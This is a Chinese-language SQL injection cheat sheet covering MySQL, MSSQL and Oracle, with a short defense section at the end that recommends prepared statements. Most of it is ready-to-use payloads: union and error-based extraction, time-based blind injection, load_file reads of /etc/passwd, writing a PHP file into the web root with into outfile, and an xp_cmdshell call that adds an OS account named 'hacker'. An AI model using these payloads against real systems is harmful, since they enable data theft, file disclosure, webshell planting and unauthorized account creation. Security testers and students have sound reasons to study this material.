Skip to content

SQL注入

MySQL注入详解

获取数据

注释符

#:注释从#符号到行尾
--:注释从--符号到行尾
/* */:注释符号中间

获取元数据

-- 查询用户数据库名称
select SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA limit 0,1;

-- 查询当前表
select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=(select DATABASE()) limit 0,1;

-- 查询表中的字段
select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME="table_name" limit 0,1; 

union查询

select user,pass from bloodzer0 union select 1,2;

MySQL报错注入

-- 利用错误信息
select convert((select @@version),signed);

-- updatexml函数
select * from bloodzer0 where id=1 and updatexml(1,(concat(0x7c,(select @@user()))),1);

-- extractvalue函数
select * from bloodzer0 where id=1 and extractvalue(1,concat(0x7c,(select user())));

-- 通过floor函数(也就是常说的双查询注入)
select * from bloodzer0 where id=1 union select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b;

MySQL函数

load_file()

select 1,load_file('/etc/passwd'),3;
select 1,load_file(0x2f6574632f706173737764),3;
select hex(load_file(char(47,101,99,116,47,112,97,115,115,119,100))),3;

into outfile

select '<?php phpinfo();?>' into outfile '/var/www/html/info.php';
select char(99,58,92,50,46,116,120,116) into outfile '/var/www/html/info.php';

连接字符串

select * from bloodzer0 where id=1 union select concat(user(),',',database());
select * from bloodzer0 where id=1 union select concat_ws(0x2c,user(),database());

其它函数

函数名 作用
length 返回字符串长度
substring 截取字符串长度
ascii 返回ASCII码
hex 把字符串转换为十六进制
unhex hex的反向操作
now 当前系统时间
floor(X) 返回不大于X的最大整数值
md5 返回MD5值
group_concat 返回带有来自一个组的连接的非NULL的字符串结果
@@datadir 读取数据库路径
@@basedir MySQL安装路径
@@version_compile_os 操作系统
user 用户名
current_user 当前用户名
system_user 系统用户名
database 当前数据库
version 当前数据库版本信息

MySQL宽字节注入

编码不统一造成,一般只出现在PHP+MySQL中;

magic_quotes_gps=On
# 编码:%d5

MySQL长字符截断

MySQL版本=5.1 并且 sql_mode=default

MySQL对于插入超过原本限制长度的值只会提示warning,而不是error,出现在web漏洞中的覆盖注册中。

MySQL盲注

-- 基于时间
select * from users where id=1 and sleep(3);
select * from users where id=1 and if(length(user())=0,sleep(3),1);
select * from users where id=1 and if(hex(mid(users(),1,1))=1,sleep(3),1);

MSSQL注入详解

获取数据

利用错误信息提取数据

-- 枚举表与列
select * from users where username='root' and password='root' having 1=1 --';
select * from users where username='root' and password='root' group by users.id having 1=1 --';

-- 利用数据类型转换提取数据
select * from users where username='root' and password='root' and 1>(select top 1 username from users);
select * from users where username='root' and password='root' and 1=conver(int,(select top 1 users.username from users));

获取元数据

-- 获取表信息
select table_name from information_schema.tables;

-- 获取字段信息
select column_name from information_schema.columns where table_name='users';
MSSQL数据库视图 作用
sys.database SQL Server中的所有数据库
sys.sql_logins SQL Server中的所有登录名
information_schema.tables 当前用户数据库中的表
information_schema.columns 当前用户数据库中的列
sys.all_columns 用户定义对象和系统对象的所有列的联合
sys.database_principals 数据库中每个权限或列异常权限
sys.database_files 存储在数据库中的数据库文件
sysobjects 数据库中创建的每个对象

order by子句

-- 测试字段
select id,username,password from users where id=1 order by num;

union查询

select id,username,password from users where id=1 union select 1,2,3;
select id,username,password from users where id=1 union select user from users;

MSSQL函数

函数名 作用
select suser_name() 返回用户的登录标识名
select user_name() 基于指定的标识号返回数据库用户名
select db_name() 返回数据库名称
select is_member('db_owner') 是否为数据库角色
select convert(int,'5') 数据库类型转换
stuff 字符串截取函数
ascii 取ascii码
char 根据ascii码取字符
getdate 返回日期
count 返回组中的总条数
cast 将一种数据类型的表达式显式转换为另一种数据类型的表达式
rand 返回随机值
is_srvrolemember 指示SQL Server登录名是否为指定服务器角色的成员

MSSQL存储过程

select * from users where id=1; exec xp_cmdshell 'net user hacker hacker /add';
存储过程 作用
sp_addlogin 创建新的SQL Server登录,该登录允许用户使用SQL Server身份验证连接到SQL Server实例
sp_dropuser 从当前数据库删除数据库用户
xp_enumgroups 提供Microsoft Windows本地组列表或在指定的Windows域中定义全局组列表
xp_regwrite 未被公布的存储过程,写入注册表
xp_regread 读取注册表
xp_regdeletevalue 删除注册表
xp_dirtree 读取目录
sp_password 更改密码
xp_servicecontrol 停止或激活某服务

MSSQL动态执行

exec函数:

Oracle注入详解

获取数据

获取元数据

-- 查看表空间
select tablespace_name from user_tablespaces;

-- 查看所有表
select table_name from user_tables where rownum=1;

-- 查看所有列
select column_name from user_tab_columns where table_name='tab_name';

-- 查看所有用户
select username from all_users;

union查询

union select null,null,null from dual;

Oracle包概念

防御手段

输入过滤

检查数据类型

使用安全的函数

使用预编译

防御SQL注入最佳的方式就是使用预编译语句,绑定变量。

使用安全的存储过程

存储过程与预编译的区别:存储过程需要先将SQL语句定义在数据库中。

绕过存储过程

存储过程存在被绕过的可能性:动态的SQL、如:xp_cmdshell

使用框架技术